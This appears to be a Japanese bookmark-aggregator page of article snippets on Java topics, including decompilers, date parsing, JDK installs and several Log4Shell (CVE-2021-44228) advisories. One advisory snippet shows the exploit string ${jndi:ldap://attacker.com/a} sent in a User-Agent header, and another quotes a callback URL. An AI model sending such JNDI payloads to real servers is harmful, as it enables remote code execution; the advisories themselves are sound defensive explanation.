Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article?
jarファイルを解析する場面に出くわしました。 これまでは「jd-gui」を使っていたのですが、ソースコードの取得中に処理が止まる現象が発生したので、「jd-gui」以外の方法について調べました。 発生したエラーコードを含め、今後のためにメモを残しておきます。 目次 ツール jd-gui jad jadx 参考URL 関連本 ツール jd-gui java-decompiler.github.io GUI環境があり、特に説明を見なくても操作ができるくらいシンプルに使えます。 しかし、GUIメニューから「save all resources」jarから復元したjavaコードを保存しようとすると、途中で処理が止まることがありました。 2019/10月時点での最新バージョンは、1.6.3で、1.6.2でも同じ問題が発生することを確認しています。 調べてみると、この問題は数年前からstack ov
はじめに 今回はJAVAのデコンパイルをしてみようという記事になります! ネットで調べてみるとJadを用いる記事がほとんどでしたが、なぜかうまくできませんでした。 そこでもう少し探してみるとJava DecompilerというGUIベースでデコンパイルできる良さそうなものを見つけました。 そちらを使って.jar,.classをデコンパイルしていきたいと思います。 はじめに ダウンロード 使い方 さいごに ダウンロード こちらのサイトからダウンロードをします。 java-decompiler.github.io 私はEclipseよりも圧倒的VSCode派なので、プラグインではなくスタンドアロン版のJD-GUIを選択。 解凍すればOKです。 使い方 使い方は簡単で、中身をみたい.jarや.classを開けば中身が見れるはずです。 さいごに こんな簡単にデコンパイルができるなんて驚きですね。
2013年には2月29日がありませんが、SimpleDateFormat で厳密な解析を行わない(デフォルトの)場合、勝手に2013年3月1日と解釈してくれます。 public class DateSample { public static void main(String[] args) { DateFormat dt = new SimpleDateFormat("yyyyMMdd"); try { System.out.println(dt.parseObject("20130229")); } catch (ParseException e) { System.out.println("Date型に変換できません!!"); } } } 実行結果 Fri Mar 01 00:00:00 JST 2013 日付や時刻を厳密にチェックするには、setLenient メソッドに fals
こんにちは。こむろ@東京です。 2017/05/23に気づいたのですが、curlやwgetで実行しているOracleJDKの取得でエラーが出るようになっています。先日(2017/05/22)からChefでも同じような現象があることをStackoverflowで確認しました。 わたしが担当しているプロジェクトで、GoldenAMI作成で使用しているAnsibleでOracleJDKのインストールに失敗したため、原因を調査していましたので共有します。自動スクリプトなどでOracleJDKを自動的にインストールしている構成を取っている方は高い確率で失敗すると思われるため、注意が必要です。 AnsibleのJDKインストールで突然の死 AnsibleでOracleJDKのインストールを行っています。2017/05/23突然死しました。 amazon-ebs: TASK **************
タグ .NET6100均ACGAdBlockAdSenseAlexaAmazon Echo Show 5AmazonカスタマーサポートAmazon交換Application InsightsASP.NET CoreAssert.Equal()AWS CertifiedAWS Certified Cloud PractitionerAWS Certified Solutions Architect(Associate)AzureAzure ADAzure AD B2CAzure CLIAzure Compute GalleryAzure Managed RedisAzure MonitorAzure Monitor OpenTelemetrybluetoothBULK INSERTByteArrayContentC#CASIOCertMetricscharsetChromeconoha wi
Log4j で強めな脆弱性が発見されました。 詳細は省きますが、ある条件可で任意のコードが実行できるような脆弱性です。 mavenのリポジトリによってはまだ2.15.0のバージョンが上がっていないようで、少し手こずったので記事にします。 (2021/12/10 13時時点) ※自分が所属するログラスでも依存しているライブラリでしたが、今はすでに修正とリリースが完了しています。 影響ライブラリと影響バージョンは log4j-api と log4j-core の 2.0 <= Apache log4j2 <= 2.14.1 です。 対応としては 2.15.0 に上げればいいそうです。 しかし、2021/12/10 13時現在Mavenのサイトでは2.15.0が上がっていないように見えます。 しかし、こちらの repo1.maven.orgのリポジトリにはあるそうで、素直に2.15.0を指定すれ
2021年12月10日に報告されたRCE脆弱性(CVE-2021-44228)をきっかけに、Log4J2ライブラリに対する4つのセキュリティホールが次々と指摘されています。『スッキリわかるJava入門』で学ばれエンジニアとしてご活躍中の方の中には、自身が運用中のシステムに関して、同脆弱性に関する対応にあたられている方もいらっしゃると思われます。 可能ならば、最新版(v2.17.1)に利用バージョンを引き上げるのが理想ではありますが、「つい先日に緊急対応したばかりなのに、再度の緊急対応が必要なのか」等、対処や判断、お客様への説明に悩まれることもあるかもしれません。以下の内容がお役に立てば幸いです。 前提: 報告されている4つの脆弱性 2021年12月31日 日本時間午前1時現在、Log4J2に関して報告されている4つの脆弱性は以下の通りです。 CVE-2021-44228(最初の脆弱性, 2
表2 Log4jのエクスプロイト試行のコールバックURLで見られた上位ドメインとIPアドレス 脆弱なサーバーの発見 私たちが観測したインバウンドのエクスプロイト試行の多くは、エクスプロイト成功を送信者に通知するアウトバウンドリクエストを送信するだけのものでした。これらの試みのすべてがスキャンを目的としていたのか、悪意のあるアクターの偵察活動の一環であったのかは確認できていません。そのなかにはコールバックURLとの最初のやりとりが脆弱なサーバーであることを示すというだけのエクスプロイト試行もあり、その多くは、以下のコールバックURLに見られるような「カナリアトークン」を使用していました。 x[hostname].l4j.2sk9753uabgse6xz75tooe5ix.canarytokens[.]com ただし、アクターがコールバックURLからJavaクラスをロードして実行することにより
JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を
2021年12月10日、Javaベースのログ出力ライブラリ「Apache Log4j」の2.x系バージョン(以降はLog4j2と記載)で確認された深刻な脆弱性を修正したバージョンが公開されました。セキュリティ関係組織では過去話題になったHeartbleedやShellshockと同レベルの脆弱性とも評価しています。ここでは関連する情報をまとめます。 1.何が起きたの? Javaベースのログ出力ライブラリLog4j2で深刻な脆弱性(CVE-2021-44228)を修正したバージョンが公開された。その後も修正が不完全であったことなどを理由に2件の脆弱性が修正された。 広く利用されているライブラリであるため影響を受ける対象が多く存在するとみられ、攻撃が容易であることから2014年のHeartbleed、Shellshock以来の危険性があるとみる向きもあり、The Apache Software
背景 あるWebアプリケーションでは、AWSサービス(S3、SES、API-Gateway、Lambda等)を利用しています。 開発言語はJavaなのでJava用のAWS-SDK(1.11.560)を使用しています。 問題点 アプリケーションにSDK「全体」をリンクしてしまっていました。 jarファイルの数でいうとなんと171個(version560の場合) <dependency> <groupId>com.amazonaws</groupId> <artifactId>aws-java-sdk</artifactId> <version>1.11.560</version> </dependency> 対策と効果 JavaのAWS-SDKは1.9.0以降は、機能ごとにライブラリを取り込みできるので必要なものだけ利用します。 本アプリケーションでは、API-GatewayとLambdaは
以下のようにswitchのcase文の中でローカル変数を定義したときのことです。 switch (dog) { case SHIBA: String name = "柴太郎"; break; case MAME_SHIBA: String name = "豆太郎"; // "重複ローカル変数"の警告 break; default: break; } switch構文内で2回目に出現したString nameにおいて、"重複ローカル変数"の警告が出現しました。どうやらswitch構文内は同一スコープなのでローカル変数は使いまわせるよ、ということみたいです。 したがって、 switch (dog) { case SHIBA: String name = "柴太郎"; break; case MAME_SHIBA: name = "豆太郎"; break; default: break; } こ
ブログ2本目!! 今回はJavaの例外で、通常のExceptionとRuntime系Exceptionの違いと、バグの元となりそうな挙動について記載してみたいと思います。 まず、通常の例外の定義方法を以下に記載してみます。 これは通常通りの挙動です。 処理内にて例外が発生する可能性がある場合、 ・自身のメソッドの中で例外を処理 ・呼び出し元に発生した例外を投げて丸投げする を決めることができます。 以下の例では自分で作成したExceptionを継承した例外クラスをthrowしてみます。 当然ですが、throwsを取り除くとコンパイルエラーとなります。 ではRuntimeExceptionを継承した例外クラスをthrowするように修正します。 上記のキャプチャを見るとわかりますが、throwする例外がRuntimeExceptionを継承した例外クラスである場合、throws宣言をしなくても
特別な意味を持つ文字をエスケープする 正規表現のパターンで使われる文字の中にはドット(.)やプラス(+)などのように特別な意味を持つ文字があります。これらはメタ文字と呼ばれます。例えば次のような正規表現リテラルで見てみます。 文字のまま解釈すると、このパターンは「a」「.」「b」の 3 つの文字が連続している文字列にマッチするように見えます。ただパターンの中でドット(.)は任意の 1 文字とマッチするメタ文字のため、この "a.b" というパターンは "a" で始まり "b" で終わる 3 文字の文字列とマッチします。そのため、 "a.b" だけでなく "axb" や "a8b" などの文字列ともマッチします。 import java.util.regex.*; String regex = "a.b"; Pattern p = Pattern.compile(regex); Matche
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く